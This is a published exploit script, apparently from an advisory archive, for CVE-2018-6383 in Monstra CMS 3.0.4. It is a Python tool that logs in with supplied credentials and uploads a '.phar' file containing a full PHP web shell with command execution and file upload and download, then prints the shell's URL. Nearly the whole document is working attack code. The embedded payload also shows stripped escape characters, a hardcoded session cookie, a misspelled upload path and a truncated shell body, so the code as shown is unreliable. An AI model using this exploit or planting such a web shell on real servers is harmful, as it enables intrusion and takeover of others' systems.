Authored by Ron Jost

Monstra CMS version 3.0.4 authenticated remote code execution exploit.

advisories | CVE-2018-6383

# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)
# Date: 03.06.2021
# Exploit Author: Ron Jost (hacker5preme)
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2018-6383
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-6383-Exploit

'''
Description:
Monstra CMS through 3.0.4 has an incomplete "forbidden types" list that excludes .php (and similar) file extensions
but not the .pht or .phar extension, which allows remote authenticated Admins or Editors to execute arbitrary PHP code
by uploading a file, a different vulnerability than CVE-2017-18048.
'''


'''
Import required modules:
'''
import argparse
import requests


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2018-6383')
my_parser.add_argument('-T', type=str, help='Target IP')
my_parser.add_argument('-P', type=str, help='Target Port')
my_parser.add_argument("-U", type=str, help="Monstra CMS Path")
my_parser.add_argument('-u', type=str, help="Username")
my_parser.add_argument('-p', type=str, help='Password')
args = my_parser.parse_args()
target_ip = args.T
target_port = args.P
Monstracms_path = args.U
username = args.u
password = args.p


'''
Exploit:
'''
# Cookies:
session = requests.Session()
url = "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php'
cookies = session.get(url).cookies.get_dict()
value = cookies['PHPSESSID']
cookies = {
"__atuvc": "9%7C22",
'PHPSESSID': 'sga7s1jb0o3b7dlueh5soin8a9'
}

# Construct authentication header:
headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://" + target_ip,
"Connection": "close",
"Referer": "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php',
"Upgrade-Insecure-Requests": "1"}

# Construct authentication body
body = {
"login": username,
"password": password,
"login_submit": "Log In"}
x = requests.post(url, headers=headers, cookies=cookies, data=body)

# Construct Exploit link:
url = "http://" + target_ip + ':' + target_port + Monstracms_path + 'admin/index.php?id=filesmanager'

# Construct Exploit header:
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------27822155982314896762160847658",
"Origin": "http://" + target_ip,
"Connection": "close",
"Referer": "http://" + target_ip + Monstracms_path + 'admin/index.php?id=filesmanager',
"Upgrade-Insecure-Requests": "1"
}

# Construct Exploit data:
burp0_data = "-----------------------------27822155982314896762160847658rnContent-Disposition: form-data; name="csrf"rnrn1e71963993909d612c40962b401c556b70e9bb3crn-----------------------------27822155982314896762160847658rnContent-Disposition: form-data; name="file"; filename="shell.phar"rnContent-Type: application/octet-streamrnrn<?phpnnfunction featureShell($cmd, $cwd) {n $stdout = array();nn if (preg_match("/^s*cds*$/", $cmd)) {n // passn } elseif (preg_match("/^s*cds+(.+)s*(2>&1)?$/", $cmd)) {n chdir($cwd);n preg_match("/^s*cds+([^s]+)s*(2>&1)?$/", $cmd, $match);n chdir($match[1]);n } elseif (preg_match("/^s*downloads+[^s]+s*(2>&1)?$/", $cmd)) {n chdir($cwd);n preg_match("/^s*downloads+([^s]+)s*(2>&1)?$/", $cmd, $match);n return featureDownload($match[1]);n } else {n chdir($cwd);n exec($cmd, $stdout);n }nn return array(n "stdout" => $stdout,n "cwd" => getcwd()n );n}nnfunction featurePwd() {n return array("cwd" => getcwd());n}nnfunction featureHint($fileName, $cwd, $type) {n chdir($cwd);n if ($type == 'cmd') {n $cmd = "compgen -c $fileName";n } else {n $cmd = "compgen -f $fileName";n }n $cmd = "/bin/bash -c "$cmd"";n $files = explode("n", shell_exec($cmd));n return array(n 'files' => $files,n );n}nnfunction featureDownload($filePath) {n $file = @file_get_contents($filePath);n if ($file === FALSE) {n return array(n 'stdout' => array('File not found / no read permission.'),n 'cwd' => getcwd()n );n } else {n return array(n 'name' => basename($filePath),n 'file' => base64_encode($file)n );n }n}nnfunction featureUpload($path, $file, $cwd) {n chdir($cwd);n $f = @fopen($path, 'wb');n if ($f === FALSE) {n return array(n 'stdout' => array('Invalid path / no write permission.'),n 'cwd' => getcwd()n );n } else {n fwrite($f, base64_decode($file));n fclose($f);n return array(n 'stdout' => array('Done.'),n 'cwd' => getcwd()n );n }n}nnif (isset($_GET["feature"])) {nn $response = NULL;nn switch ($_GET["feature"]) {n case "shell":n $cmd = $_POST['cmd'];n if (!preg_match('/2>/', $cmd)) {n $cmd .= ' 2>&1';n }n $response = featureShell($cmd, $_POST["cwd"]);n break;n case "pwd":n $response = featurePwd();n break;n case "hint":n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);n break;n case 'upload':n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);n }nn header("Content-Type: application/json");n echo json_encode($response);n die();n}nn?><!DOCTYPE html>nn<html>nn <head>n <meta charset="UTF-8" />n <title>[email protected]:~#</title>n <meta name="viewport" content="width=device-width, initial-scale=1.0" />n <style>n html, body {n margin: 0;n padding: 0;n background: #333;n color: #eee;n font-family: monospace;n }nn *::-webkit-scrollbar-track {n border-radius: 8px;n background-color: #353535;n }nn *::-webkit-scrollbar {n width: 8px;n height: 8px;n }nn *::-webkit-scrollbar-thumb {n border-radius: 8px;n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);n background-color: #bcbcbc;n }nn #shell {n background: #222;n max-width: 800

# Exploit:
x = requests.post(url, headers=header, cookies=cookies, data=burp0_data)

# Finish:
print('')
print('Please login in your webrowser and then open the following URL:')
print('File uploaded to: http://' + target_ip + ':' + target_port + Monstracms_path + 'public/uplaods/shell.phar')
print('')